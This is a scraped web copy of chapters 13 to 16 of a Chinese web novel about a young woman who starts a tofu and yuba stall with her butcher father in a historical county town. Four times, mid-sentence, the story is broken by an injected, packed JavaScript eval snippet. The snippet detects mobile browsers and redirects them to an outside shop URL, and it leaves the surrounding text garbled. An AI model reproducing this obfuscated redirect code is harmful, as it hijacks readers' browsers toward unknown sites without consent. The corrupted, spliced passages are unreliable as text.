林真记得大伯娘家里是木匠,她屋子里立着的那只素花儿的顶箱柜就是她大伯娘当年贺林屠户家搬新屋时给添的。滤架、豆腐箱和压板那些的,能找她大伯娘帮忙搞定,其余的,就看她屠户爹了。 林家的院子又开始有人进进出出。 石磨、灶台陆续进屋,说着不管的林屠户还又招呼了相熟的人家来帮忙, 只两天,就在院子西边起了棚子,靠着杂物间只有一面墙,三处漏风草棚为顶,可至少有个屋顶,不惧风雨。 又一日,恰逢旬日,慈溪县的牲口行开大集。林屠户赶着自家的老驴拉着板车进城去,要去为家里再添一头牲口。 林真爬上板车也跟着,她要去熟药铺子里头买石膏,还要去寻林掌柜瞧一瞧兴福坊内摆摊的地方具体在何处。 林屠户先同闺女儿去了林家百年福源斋,亲眼瞧见那多体面的小伙计待真姐儿多是殷勤周到,连带着他也得了小伙计赠送的一盏子消暑的琥珀饮。 饮子还没喝,那小伙计又与人合抱着一柄大青伞来,座杆老粗了,另还有一配套的大石砧。 “林小娘子,这是我们掌柜赠您的青布伞,祝您生意兴隆,客似云来!” 林屠户赶忙张罗着人将这柄大青伞往驴车上放。 林真一拍脑门,她确实忘了这一遭了。 往日里,桥头路上走着日日都瞧见浮铺摊子上撑开的这种带着底座的大青伞,遮阳避雨两不误,自个儿要摆摊了,却将这东西浑忘了去。 “哎呀,我还真忘了去请伞匠制伞,还是林掌柜这经年的老掌柜有成算。如此我便不推辞了,替我谢谢林掌柜。改日摊子张罗起来,必要请林掌柜和诸位小哥尝尝我自家制的豆腐”。 林福面上的笑容深了些,虽不差那一口吃的,可林小娘子这态度就教人心里舒坦。 后又亲自领着父女俩进兴福坊去,还陪着去税场巡栏处兑换了牙牌。 这四指见宽的小木牌子,不止是摊贩进出坊内的凭证,还是变相的摆摊许可证,小贩们常会将其高悬于摊位上。 “卯初进,酉初一刻走,不能过界,且自个儿要将摊位收拾干净。若是教街道司罚了,我可不敢去拦。”那巡栏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16222076|181561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许是看在林福的面上,还特意提点了一句。 “您放心,规矩我都知晓的,定不会教您为难。”林真赶紧表态。 从兴福坊内出来后,林屠户有心请人吃茶,可林福推辞不受,直言事儿办妥当了,自家还要回去当差哩。 三人少不得寒暄几句,自个儿没觉着有甚,外人瞧着却多热切。 王巡栏转了一圈儿来歇脚的时候,虽只瞧见一个影儿,可心里有些犯嘀咕,心念一动,面上堆了笑去寻此处的老巡栏打听。 可人却不买账,不咸不淡。 王巡栏面上不敢有异色,心里却啐:呸!也不瞧瞧自个儿那侄子是个甚玩意儿。毛都没长齐的小兔崽子,还敢与他争兴福坊这头的差事?他能抢了这头的肥差那是自家有本事还使了钱的,等他将地皮踩踩熟,迟早教这老东西给他腾位子! 另一头的林屠户父女倆显然没发觉教人暗中看了个正着。 林屠户赶着去牲口行挑驴子,林真便自个儿去了熟药局。 她在县城生活了小十年,不敢说县里头各坊市街道都熟悉,但自去熟药局买个石膏还是没问题的。 惠民坊的李氏三不欺药铺,名声不错。 原身从前去买活血化瘀的万应膏时,那边的小药童很是细心,不厌其烦叮嘱许多次如何使用又如何保存,还千叮铃万嘱咐万万不可口服。现要买石膏,林真第一反应自然是去那里。 石膏在这时候叫凝水石或寒水石,林真去熟药局里,扯了一通口舌生疮的谎话,终于买到了六两精制的石膏。虽有些小贵,可回去自个儿磨成粉兑水就能用。 只那小药童太负责了,盘问许久也只卖了她六两,下回记得要换个人来买。 事情办完的林真跑去与林屠户约好的坊门处等她屠户爹。 没多久,便瞧见林屠户赶着板车来了,后头还拴着一头小毛驴?可怎觉着耳朵长长,脸也有些长? 林真凑过去仔细一瞧:“爹?这是,骡子?” 林屠户老高兴了:“是!是头一年多的小骡子!” 顾忌着人多,他没细说,只招呼着林真一起家去,还将拴着那头小骡子的缰绳递给林真。 “莫怕,虽是头公骡子,可它脾性好着哩。你牵着,爹在边上瞧着呢。” 林真瞧着那头眼睛大大的小骡子,暗中评估了一下一人一骡的高度:嗯,矮矮的,遂大方接过缰绳。 “也是运道好,这头公骡还未阉割,旁人还在讲价,爹一去,一口价未还,直接拿下!” 林屠户很是高兴,旁人嫌它年纪小,重活暂且做不得,又还要请人阉割。 可他不嫌啊,阉割自个儿就能干,他家买了只是去拉磨,算是轻省活儿,两头全乎的事儿,自然要快!好容易才碰上牲口行有骡子卖,不得赶紧拿下。 “骡子脾气可比倔驴好,好养活,体力、耐力都更好,咱们要是好好养着,说不得能养它十多年哩!” 瞧瞧,平日里唤老伙计,现在都叫倔驴了。不过也不怨林屠户喜新厌旧,骡子比起毛驴儿来自然样样都好。 “爹,女儿给您的钱怕是不够买这骡子吧?您给添了?”林真冷不丁问。 林屠户满脸的笑一僵,声儿小了一半。 “没添几个钱,家里买牲口是大事,我出些钱也是应当,这不算管你豆腐摊上的事儿!” 14. 第 14 章 林真牵着小骡子回来的时候,且还没到村口呢,已感受到不少灼人的视线。 “林屠户,这是你家买的骡子啊?你家田地也不多啊,还都给你大哥种着,怎还买恁贵的牲口?” “哈哈,恰巧碰上了,是头还没骟过的灰骡子咧,卖主让了几个钱的。” 小、灰色、没骟过…… 她屠户爹在尽力降低小骡子的身价,林真不由得摸了摸小骡子温热的颈子:真是委屈你了。 “桂花嫂子,你歇着啊。这小骡子许是没赶过路,有些不大精神哩,我得快些家去了。” 林真跟在她爹身后,牵着被迫‘不大精神’的小骡子赶紧溜。 她家院子甚都好,就一点,林屠户当年买宅基地的时候位置偏僻了些。要进家门,得穿过大半个枣儿村。 是以,屠户家又买了一头骡子的消息很快便长腿儿似地传遍大半个枣儿村。 “哎呦呦,还是当屠户来钱快啊。虽有些伤天和,可人是真有钱,娶个寡.妇进门也办得多热闹,那肉啊油啊的,可不便宜。这才几天啊?又牵了一头骡子进门,都说屠户家要不行了,我瞧着人底子厚着呢!” 这自然是红眼病犯了,心里的酸气儿掩不住说些酸话。 自也有与林家交好的人家臊他一句:“呦!这是没吃着人家的好席面心里不得劲儿呢?您呀,嘴上若是积德些,说不得下回能大大方方进门吃席去!” 口角纷争暂且不提,可林屠户家底子厚的传言确实教有心人记在了心里。 这头,林真父女倆正在牲口棚里伺.候家里的新老功臣。燕儿也在,那小骡子实在乖巧,大眼睛长耳朵软乎乎,燕儿还敢用手摸一摸。 “有生,我怎听人说你买了一头病骡子家来了?”林大伯急匆匆进门。他弟相牲口的本事该是不差的,怎还栽了个大跟头? “啊?大伯,您听谁说的啊?咱家小灰可精神着呢!”林真反驳。 是的,有些驴子在家里七八年了,只是驴子驴子的叫着。有些骡子呢?才进门,就被姐妹倆取了个名字叫小灰。 “大哥,你来瞧瞧,我这骡子买的咋样!” 听听这语气,妥妥的炫耀啊。 林大伯倒着实松了一口气,听他弟这语气,买这骡子不止没着道,还有得赚。遂放慢了步子,手一背,慢悠悠地踱过去。 “成,我来瞧瞧。” 林真拉着燕儿走了,他爹和大伯絮絮叨叨个没完。她对骡子的新鲜劲儿过去了,现要去瞧瞧出门前苗娘子帮着泡的黄豆能不能用了。 若是能,今儿才进门的小骡子就得给她当童工使唤了! 泡好的黄豆加水磨成浆,细棉布制成的豆腐袋固定在滤架上,磨好的生豆浆倒入悬空的豆腐袋中。 通过人不断的摇晃、挤压,过滤过的豆浆源源不断地流入滤架下方的大缸中,布袋里只剩下再榨不出一丝豆浆的豆渣。 豆腐袋是裁了好布请人缝制的,大伯娘.娘家给做的滤架用着也很顺手,可林真在这一刻,真是体会到了磨豆腐的苦。 豆浆入袋便要一刻不停地晃动,间或还要上手挤压,力气小点儿的人,连滤架都控不住。 一桶又一桶的豆浆,可都要过包(滤浆),林真只滤了小半桶小臂便止不住地发颤。 后头的那些,自然是嘴上说着不管她,可一直在棚子里晃悠的林屠户接过手去。 林真灰溜溜走开了,拿着特制的长箸站在灶前,严阵以待。 燕儿烧火的功夫很是厉害,锅内的豆浆大火烧开滤去一次浮沫后,抽掉多余的柴火,让锅内沸腾的豆浆静下来,呈现出一种似开非开的状态。 这时候,耐心等待一盏茶的功夫,便能瞧见锅内的豆浆上凝出一层皮儿来。 林真长箸一动,轻轻将那层豆皮儿揭下来挂在了一侧的长竹竿儿上,等竹竿子上的豆皮儿晾晒过后,就成了绝对纯手工制作无任何添加剂的腐竹。 林真找到手感后,还会炫技般地一边挑豆皮儿一边上手理一理形状再挂上去。如果林真有尾巴,怕是要将草棚子顶破了去。 “苗娘子也试试?最后那口陶釜热的慢些,您慢慢练手,便是挑破了也无事,咱自家吃就是了。今儿日头好,自家吃的,下半晌便能收来尝尝鲜。” 林真一边说,一边挑腐竹,她一人占两口锅,还有一口铁锅。动作却丝毫不见忙乱,反是行云流水般很有一股子大师范儿。 “我晓得了。”苗娘子很是慎重地点头,她实在没想要林真竟这般坦诚不防人。 豆浆滤好后,她原本想带着燕儿避开的。可真姐儿却将她叫住,还说要教她制豆腐的法子。 “咱家就这些人,便是将我掰成两半也不够用。娘子品行贵重,咱又是一家人,一个屋檐下生活,何必防来防去的自个儿找不痛快。” 动起来,都动起来,为了屋上的瓦桌上的肉,统统动起来! 捏着长箸的手,指尖泛白,苗娘子更是大气儿都不敢出一声。 好在她本就有一双擅缝补的巧手,手一动,锅内的皮子被轻轻一挑挂在了竹竿上。 “成了,娘子手好巧,头一回上手就成了。”林真赶紧夸夸。 苗娘子直到这时才长舒了一口气,她嘴角露出一个浅浅的笑:“是你教的好。” 此刻,在苗娘子看来,真姐儿才是那个顶顶有能耐的人儿,可她天生寡言,倒是不好意思开口夸。 一锅子豆浆揭过五六层腐竹后,便逐渐不能凝结出新的皮子,这时候再加几瓢生豆浆进去混着,就又能多出几层皮子了。 这是林真上辈子从一个老人家那里学来的技巧,上辈子没用上,这辈子用上了。 她干劲满满,势必要将豆浆的精华都榨.干净了。 直到所有的豆浆都出不了皮子后林真才罢手,叫燕儿去掉柴火,教滚烫许久的豆浆稍稍降温。长柄勺在手,顺着同一个方向慢慢搅动豆浆,让石膏水和豆浆能充分接触。 慢慢的,桶内的豆浆开始出絮,林真快手快脚舀了一大盆出来,今儿忙碌许久,腐竹是吃不成了,可先吃个豆腐脑也不错啊。 剩下的豆花全装进豆腐箱,又用滤布整齐地包好,上压板放重石,豆腐箱下头压出来的黄浆水滴滴答答落入桶内。 林真拍拍手骄傲叉腰:“成了,咱先不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16232708|181561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管它,吃了夕食再来瞧。” 她要做的是熏豆干,豆腐老些才好。 “爹,您将这盆豆花送去大伯家,给大伯家添个菜。虽说咱这豆花定是比不上豆腐坊内的好吃,可加了卤子也不算差。” “哪儿不好了,我瞧着可不孬。”林屠户这会儿又不准人说这豆腐不好了。 经过林真层层压榨,揭了不知道多少层腐竹的豆花,能比得上人豆腐坊内正经卖钱的豆花才怪呢。 若是没差,她也不必废心思废功夫制熏豆干了。 不过林真没反驳她屠户爹,瞧着人多欢喜地端着那盆豆花出门去,嘴咧得嘞,快到后脑勺了。 加了饴糖的豆浆喝过了,豆花浇了卤子一人一碗,连豆渣苗娘子都没放过。混了面揉成饼子炕得焦黄,喷香!桌上的夕食,除了一碟子小葱炒鸡子和咸菹,全是黄豆家族。 林真瞥了一眼,罢了,也就今儿头回新鲜,不雅就不雅吧,也不是日日都这样吃。 “苗娘子,这些豆渣留着给大灰小灰吃顿好的。天儿热,也放不住的。” 林真及时制止了苗娘子留着豆渣明日继续烙饼子的想法。 朝门口望了望,随即嘀咕道:“我爹就去送个豆腐怎还不家来?总不能把自个儿送丢了吧?” “浑说甚呢?爹就是跟你大伯多说了几句话。”刚好进门的林屠户听了个正着,不过他也不好意思说自个儿为了多听几句夸闺女儿的话,特特绕了路。 “咳,摆饭罢。” 一家子在枣树下吃了个肚圆,没歇息多久,林真又忙着去瞧压着的豆腐。 豆腐箱下头已经没落黄浆水了,算着时间,压了得有两个多时辰了,也差不多了。 果然,揭开滤布后,箱内的豆腐已然成型。 又是一大家子齐上阵,林屠户手稳,切肉的时候说是多少就是多少,绝不差一分一厘。由他将豆腐切成大小一样的方块,林真和苗娘子将豆腐块六面抹盐上蒸屉,燕儿还是熟练的烧火小工。 本该是先蒸后晒,可林真舍不得下手抹盐,便想制烟熏的,多一层风味也少用些盐。 制熏肉或肉干,林屠户和原身都是熟手了。肉行的摊子上也不是日日都能将鲜肉卖光的,剩下的肉不是制成熏肉便是肉干。这时的肉干还有个文雅名儿,叫肉脯或条脩。 有倆熟练工在,熏个豆干不算甚。 沿着墙根儿下挖一条浅沟,松枝引燃,上头洒些干松针,再洒一把子米糠。瞬间,混着松针香河米香的浓烟翻腾而起。 烟雾袅袅,热气和烟火气一同熏烤着上方的豆腐块,豆腐块慢慢脱去水份,盐和特有的烟熏味儿充盈其间。 燕儿陶醉的深吸了一口气儿:“阿姐,好香啊。” 林真揪了揪燕儿脑袋上的鬏鬏,这娃有点儿傻,要不是她拉着,她这会儿还觉着香?怕是早被浓烟呛得掉泪珠子了。 “嗯,是挺香。幸好咱家这头清静,不然这满院子烟熏火燎的,早有人来敲门了。”这会儿林真又觉着家里僻静是好事儿了。 “爹,明日我和巧儿。”林真伸出两根手指,“咱倆人结伴,去卖腐竹和豆干了哈。” 15. 第 15 章 五更天,林家的院子已有动静。 凉水泼脸上,人稍稍清醒了些,林真没忍住,还是打了一个哈欠。 上辈子活了二十来年,她从来没有这么早起来过! 起太早没食欲,林真只喝了一碗米汤。夹了几箸咸菹包在饼子里,水囊灌满便准备出门。 林屠户早将腐竹豆干放在板车上,牵着老驴立在一旁,就等林真了。 父女倆先去林大伯家接了林巧儿,一行三人腿着朝县城赶。 林家的这头老驴算起来比林真还大些,林屠户很是爱惜,并不舍得教它拉着货物,还要驮倆年轻女郎和大汉。 这也是林真起个大早的原因,枣儿村离县城算不得远,牛车小半个时辰就能到,若是走路,耗时便多了。 脚程快些的大半个时辰能到,可林真对自己的体力存在清晰的自我认知,最终还是选了早起。 好在清晨不太热,偶有微风轻拂,再有林巧儿说话逗趣并不算难熬。 排着队入了慈溪县,再凭牙牌进入兴福坊。 此时,天光大亮,正是坊内人家饱睡一夜后出来活动觅食的时辰,坊内甚是热闹。 卖朝食的门脸铺子和支青伞的浮铺已然开张,随着锅内阵阵热气荡开来的食物香味,吸引着腹中空空的行人。 林屠户帮着将大青伞撑开就要走,临走时摸了二十个铜子儿给林真。 “真姐儿,爹这就走了,你和巧儿机灵着些。东西卖不出去也早些家来,晌午领着巧儿去王婆子的摊子上吃碗细料馄饨。” 林屠户忙着去帮人杀猪咧。 昨日黄昏,家里忽有人来寻,是隔壁村的,请他今日去家里杀猪。 说是家里的猪放出去吃草,不止怎的伤了蹄子。一开始没人发现,前两日瞧着那猪不大吃食了,这才惊觉。 可到底发现得晚,蹄子上的口子都化脓了。眼瞧着那猪精神头一日不如一日,这才急慌慌寻人杀猪。 那汉子满脸愁闷:“好歹趁着还活着尽早杀了,肉少些也没法子,多少能卖上几个钱。” 恰好听人说枣儿村的屠户回来了,便直直来找林屠户。 这便是家里摆下席面请人吃酒的用意,不止是与亲朋友邻联络感情,还要顺带借着此事告诉众人。 我在此处安家,若有甚事,可来枣儿村寻人。 瞧着林屠户走远了,林真将两只条凳并排摆开,在上头铺了一层草席子后,才将仔细放在竹筐子里的腐竹和熏豆干摆出来。 卖吃食的地儿,总要弄得洁净些才好。 手上不停,林真嘴上也没停:“别听我爹的,谁大热天儿的去吃馄饨啊?咱去吃冷淘,辣口的丝鸡淘,再买上一筒饮子,这样吃着才过瘾呢!” “坊口那家汤饼铺可去不得,他家也就占了个地头好,可味儿着实不咋样,还舍不得下好料。去猫儿巷里头的张家汤饼铺去,他家的面够筋道,不止丝鸡淘好吃,笋燥齑淘也好吃。”来人说着,又很是热心肠地问。 “猫儿巷知道吧?桥那头的太平坊里进去,顺着西边数过去的第二条巷子里头。” 林真要不是瞧着来人一身的细葛布,日头下还透着微光,绝对以为此人是托儿。 “您莫不是个吃家?怎甚都懂?”林真笑眯眯问道。 “嗨,我算得是甚吃家?文也不精画也不成的,只长了一张好吃的嘴。”来人口中谦逊,可眸中却透着一股子真切的欢喜劲儿。 他好吃的名头是挺响亮,可写文作画皆不成,没少遭人打趣。 这小娘子说话倒是动听,会吃又会说,难怪家中长辈如此疼爱。 他今儿一早睡饱了出门寻摸朝食,打眼就瞧见了生人。一时好奇就凑过来了,先是瞧见当爹的摸铜子儿,心中正感叹呢,冷不防当听见那不懂吃的爹在教女儿去吃馄饨。 天爷呦!那铺子是找对了,可东西没对! 这大热天儿的去吃馄饨?还是晌午?满头满脸的汗珠子,谁乐意这时候去吃馄饨啊?汤再鲜料再好也不成! 正在心里辩驳呢,因凑得太近,刚好听见了那小娘子的话。 听听,这才是会吃的人呢! 心中频频点头,忍不住张嘴,给人荐了好铺子。 秃噜完了才觉着行为不妥当,倆未盘发的小娘子,他这凑近乎搭话的样子实在孟浪。谁承想,那特会吃的小娘子倒是大大方方,话还说得这样好听。 王柘就觉着:这是知音啊! 当下笑眯眯抻着脖子瞧:“小娘子这是卖的甚?” 林真将腐竹和熏豆干用小竹笥摆了些出来,听见来人发问,一把掀开上头盖着的大荷叶。 “您瞧瞧。” “呦,是腐竹啊,这东西在瑞州那头倒是多,咱们这儿倒是少见。”王柘道。 “您是真有见识!”林真很是惊喜,头个上门的客人就是个识货的,眼珠子一转,计上心来。 “您走近些,瞧瞧我这货,顶顶好的净条腐竹呢!”[1] “啧,瞧着倒是色正,也油润。可我光瞧可不敢说这是净条腐竹呢。”遇上吃的,王柘便很较真了。 “您请。”见人果然上头,林真暗喜。 “不光我这摆出来的能瞧,竹筐子里的您都可随意挑些来细看。” 王柘见那小娘子丝毫不怵,腐竹少见,他确实心痒痒。便大步上前,真作出了个品鉴的姿态来。 摆出来的他自然不看,从竹筐里随意指了三根要细看。 一看:色正,迎光可见瘦肉状的纤维纹理。 二嗅:豆香浓郁。 三折:质地脆硬易断且不掉渣,蜂窝状的断面甚是漂亮。 四本该是泡,瞧其韧性。可王柘等不及,将手中折断的那一小节腐竹直接扔嘴里。 嚼嚼嚼,眼睛越来越亮,大手一挥。 “你这腐竹甚好,我全要了!” 林巧儿在一旁听得眼睛一亮,全要了?她们运气真好,这是遇上大买主了! 可她没说话,只双眼亮晶晶地瞧着林真。 “您看得上我这货自然是好,我今儿带来的腐竹不多,您瞧着就是富贵人家出来的,自然能包圆了。可甚东西都是吃个新鲜才好,您今儿买一把家去,若是吃得好了,明日再来,我日日都来这儿摆摊哩。” 林真昨天磨了四十斤黄豆,只得了两斤多一些的腐竹,择了品相好的出来,二两一把,只包了十把出来。 今日运道好,遇上识货的买主,她可不想错过这打响名声拓展客源的机会。 王柘想了想,也是,腐竹这东西虽能放,可现做的滋味儿总归要好些。 他爽快点头,连价也不问:“一把怎够,我家里人多,小娘子给我包上三把,就包我刚抽过的那三把。” 林巧儿快手快脚将腐竹挑拣出来,林真又取了两方熏豆干用箬叶包好装在自家带来的小竹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16232709|181561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笥里头,一并递给王柘。 “一把腐竹有二两,作价三十文,三把收您九十文。今儿头次开张,送您两方自家熏制的豆干,用香醋凉拌或加些蒜苗叶子炒来都好吃。” “小娘子厚道,倒是没胡乱定价。”王柘心里一算就知道价格实在,满意点头,从钱袋子里摸了一角银子出来。 “不用找了,你这腐竹极好,没兑浆粉进去。你那熏豆干定也是好的,再给我添两方。” 得,这是个不差钱又爱吃的主,最难得的是人家对各类物价极为精通,还晓得她一方豆腐打算卖三文,两方豆腐卖五文。 可人用银子结账,这时候一角银子换铜钱,可不止能换一百文。 本来还想教人把小竹笥还来的林真闭嘴了,这就是最寻常的竹笥,连花纹都没有。大主顾没带篮子出来,送人一个怎么了? 不成想王柘接了竹笥后自个儿说会派人还回来。 林真笑容更深了:“您慢走,吃着好了再来啊!” 王柘一走,边上围观了许久的人群便挤上前来。 都是多年的老邻居了,王氏布行的小儿子,那张嘴多挑剔他们能不知道?兴福坊内开吃食铺子的掌柜们,谁没和他打过交道? 掌柜们对他是又爱又恨。 味好用料实在的是巴不得他来,吃得好了他能将你夸出花儿来,人往那儿一坐就是活招牌。可若是哪一天稍差了些,他那舌头一尝,嘚啵嘚啵数落得你恨不得将人撵出去。 从前坊口的那家汤饼铺子生意多好,换了自家小舅子管采买后,活活被王柘喷得快关门了。 “小娘子,不怕你笑话,这腐竹那王氏布行的小少爷吃过,可咱们这还有好些人没吃过哩。你给说说,这东西是咋吃的?”问话的妇人挎着篮子,抹了头油将头发梳得一丝不乱,发间两根银簪并一把梳篦,收拾得多精神。 林真笑着开口:“娘子请看,这腐竹先用凉水泡一个时辰,泡发后,炒、烧、焖、炖、煮都成,并不挑烹制法子。夏日天儿热,凉拌最好。泡发焯水后,淋些香醋拍头蒜便极好,若是能吃辣的,搁些茱萸用菜籽油一浇,那叫一个香啊!” 妇人心中满意,可抿了抿唇角开口道:“小娘子少几个铜子儿,我也买上一把尝个新鲜。” 让价?绝无可能。 四十斤黄豆才出这点儿腐竹,人工先不说了,柴火钱都要算上一笔。 “娘子,我这真是只赚些辛苦钱咧。这样,我送您半方熏豆干,您家去添些咸菹,能凑个冷盘呢!” “程家娘子,你买是不买的?刚王家那小子都说了人这是厚道价,怎还叫这面嫩的小娘子让价呢?你若不买且把道让开些,我可要买一把家去尝尝的。”后头一位娘子快言快语。 “谁说我不买的?我只是问问这东西该如何吃!”妇人有些恼,数出一把铜子给林真,皱着眉道。 “且数数清楚。” 林真让巧儿接钱,自个儿挑了一把腐竹,又切了半方豆干一并放在妇人的篮子里。 “您慢走。” 妇人瞧着篮子里的半方豆干,眉头松了松,斜睨了身后的年轻娘子一眼便走了。 “嘿,小娘子,我可瞧见了。我买一把腐竹,你送不送我豆干呢?”年轻娘子不在意,反去逗林真。 “送,自然送!今日头一回开张,幸得诸位捧场,买腐竹的都送半方豆干咧!” 林真这时候很是大方。 16. 第 16 章 有王柘打头,腐竹又确实是个稀罕物,倒是不愁卖。 可那六十多块熏豆干的行情就要差些,好在林真后头瞧着不对劲儿,用两方豆干央了斜对面一卖吃食的小贩帮着拌了一方熏豆干,摆出来,凡是来问的都请人先尝一箸。 如此,尝了的人,十有八.九都会掏钱买上一方。 什么?你问林真为啥不自个儿拌? 一来,那小贩未必乐意;二来,林真实实在在是个手残。不是说她啥都不会,反而林真刀工啥的并不差,前世好歹也是百万up主,手上没点儿真功夫,能从互联网里头杀出来吗? 可是邪门的是,但凡经了林真的手去调味,那味道总会差上一截。 色香味形,她独缺一门‘味’。 这在前世不算啥,隔着屏幕呢,粉丝尝不到味道,卖相好氛围组给力就能唬住人。 可放在这儿,就要了命了,她口述,经小贩调味的凉拌熏豆干滋味着实不差。但如果让林真自个儿用同样的东西去调味,那她摊子上这些熏豆干保准要卖到下半晌去。 哪像现在,辰初一刻开的张,日中便卖完了。收摊收摊,收了摊好去吃冷淘! 左侧林家百年福缘斋在此处摆摊的小伙计,眼睁睁瞧着林掌柜领进来的那小娘子,不到两个时辰,便将摊子上的货倾售一空,下巴差点儿掉了。 不愧是林掌柜看重的人啊。 林真多热情地和福缘斋的小伙计打了招呼。才开始搬自家摊子上的条凳、大青伞和两只小杌子,带这这些东西可别想去逛街吃冷淘了。 她要将它们都放到坊口去,那里背阴处搭了棚子,是巡栏们歇脚的地儿,使上两文钱,能将东西放进去暂存。 这也是巡栏们赚外快的法子之一。 那巡栏也是老熟人了,就是林福当时领她来兑牙牌时遇上的老巡栏。 林真叉手一礼,将东西都给老巡栏瞧过后,缴了钱领了一根儿绳结,到时候凭此绳结来领东西。 “林小娘子生意倒是好。”老巡栏收了钱,似乎不经意间嘀咕了一句。 “难怪那王巡栏到处打听你家这摊子呢。” “甚?王巡栏?”林真皱眉,可瞧见老巡栏耷拉着的眼皮子,晓得人不会多说,便没问。 “真姐儿,那巡栏刚说的话是甚意思?我听着怎不大对呢?”林巧儿的兴奋劲儿去了大半。 “没事儿,咱行得正坐得端,怕啥?”再说了,她还有些浅浅的关系呢。 “走,先陪我去送东西,之后咱再去猫儿巷吃冷淘喝饮子!” 昨日得的腐竹,林真捆了两把好的出来,背篓里还装着二十块熏豆干。这是要送去给林掌柜和林福几个小伙计的。 她得了林掌柜赠的大青伞,怎么着也得回送一二。还有那天说要请人尝豆腐的话,自也不是白说的。几个小伙计可是帮了忙的。 “自家的东西,也值不了几个钱,请林掌柜和诸位小哥尝个新鲜。” 林掌柜最近总不在店内,好在林福在。林真将东西送给林福后,见人也忙着,便没多打扰,带着林巧儿直奔猫儿巷去。 张家汤饼铺果然不同凡响,这时本不是饭点儿,可铺子里头却没几张空桌子,人头攒动好不热闹。 笋燥齑淘、丝鸡淘,一人一碗;林檎渴水、豆儿水,一人一筒。路上瞧见羊脂韭饼,还买了一个两人分。辣的、甜的、咸的,都不止是甜咸永动机了,是甜咸辣三味合一! 林巧儿脸有些红,那羊脂韭饼她就是多瞧了两眼,却教真姐儿破费了。 “吃,就这一回!往后咱自带干粮,不花这个钱。巧儿,这是我头回赚钱,可得好好庆祝一下。我待会儿还要去买杂嚼给我爹下酒,买饴糖给燕儿甜甜嘴,还有苗娘子,打一筒金橘团熟水,消暑解闷再好不过。” 林巧儿听得羡慕:“真好,真姐儿你是真有本事,要是我也像你一样能赚钱就好了。” “嘿嘿,你怎不赚钱了?喏,十个铜子儿,别嫌少啊。”林真立马数了十个铜子过去。 “别别别!”林巧儿吓得手都摆出残影,“我可甚都没做,你还请我吃的恁好,我怎还能再管你要钱!” “拿着!”林真将铜子儿往林巧儿手里塞。 “你今儿收钱、招呼客人、包豆干儿捆腐竹,哪样没做?该是你的就拿着,给鑫哥儿买饴糖也好呀。” 说到鑫哥儿,林巧儿拒绝的话就怎么也说不出口。 她今儿出来大半日,家里的活儿没做,本也是打算买些东西回去堵住她大嫂那张嘴的。 嘴唇开开合合,最终只红着面皮挤出一句话:“那也用不了这么多。” “这还多啊?帮闲也要三十个钱呢!多的你自个儿留着,寻常买个头绳零嘴儿的也不用问大伯娘拿钱了。” “帮闲是壮年男子卖苦力,像我二哥那样的,一整日,才三十文!”林巧儿较真,打死只收五文钱。鑫哥儿一个小人家,吃恁多糖作甚?要坏牙的! 林真铜子儿没送出去,心里对林巧儿倒是更亲近了。 姐妹倆高高兴兴吃了顿好的,又买了东西取了寄存的竹筐条凳啥的,寻了枣儿村的牛车家去。 一路晃悠着,脸上的笑就没落下来过。 不想,才进了枣儿村,迎头便碰上了一妇人,张嘴便是教训。 “真姐儿,不是婶子要说你。你既回村了就得像个样子,一天天的净往城里头跑,你还当自家是城里姑娘啊?你也老大不小了,该懂事儿了,没得教家里人为你操心。还有,你如此行事,婚事也不顺,没得带累了咱们林家的其他姑娘!” 那妇人身旁还跟着一獐头鼠目的男子,眼珠子乱转,好生没礼地上下打量林真两人。 林真火气上来,本想直接开骂,可听见妇人最后一句话,再瞧瞧那形容猥.琐的男人,一下子明白过来。 呵!这婆家人的款都摆到她面前来了? 林真这会儿也想起来这开口喷粪的妇人是谁了,心中冷笑。 随即,一篓子甩在了那男人脸上。 动作极快,没蓄力,但力度刚刚好,懵逼不伤脑。 妇人尖叫了一声:“真姐儿,你作甚!” “我作甚?陆婶子这话问得好没道理。你是瞧不见这贼眉鼠眼的狗东西,眼珠子都要黏在我身上了?陆婶子既嫁作我林家妇,怎不护着林家的女郎,反向着外人?” 林真声音响亮,丝毫不怵。 “怎的?这天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 